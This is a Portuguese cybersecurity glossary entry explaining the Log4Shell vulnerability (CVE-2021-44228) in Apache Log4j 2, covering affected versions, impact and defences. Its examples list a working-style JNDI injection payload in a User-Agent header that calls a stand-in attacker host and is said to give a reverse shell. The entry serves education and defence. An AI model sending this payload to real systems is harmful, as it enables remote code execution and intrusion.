CyberGlossary

Vulnerabilidades

Log4Shell (CVE-2021-44228)

Também conhecido como: CVE-2021-44228, Vulnerabilidade Log4j

Definição

Vulnerabilidade crítica de execução remota de código de dezembro de 2021 no Apache Log4j 2, acionada apenas por logar uma string JNDI.

O Log4Shell é uma vulnerabilidade CVSS 10.0 no Apache Log4j 2 (versões 2.0-beta9 a 2.14.1) divulgada em dezembro de 2021. O recurso de message lookup avaliava strings ${jndi:ldap://...} dentro de mensagens de log, levando a JVM a obter e desserializar uma classe Java remota — resultando em RCE. Como o Log4j está embebido em inúmeras aplicações e appliances Java, qualquer entrada que terminasse num log (User-Agent, campo de pesquisa, nome de ficheiro) tornou-se vetor. Provocou um esforço global de patch urgente e está entre os zero-days mais explorados. Defesas: atualizar o Log4j para 2.17.1+, desativar lookups JNDI, bloquear egress e usar SBOM para localizar componentes afetados.

Exemplos

  • Enviar User-Agent: ${jndi:ldap://attacker.com/x} a uma aplicação Java e obter shell reversa.
  • Explorar um serviço Java interno logando um valor malicioso inserido num campo de nome de utilizador.

Termos relacionados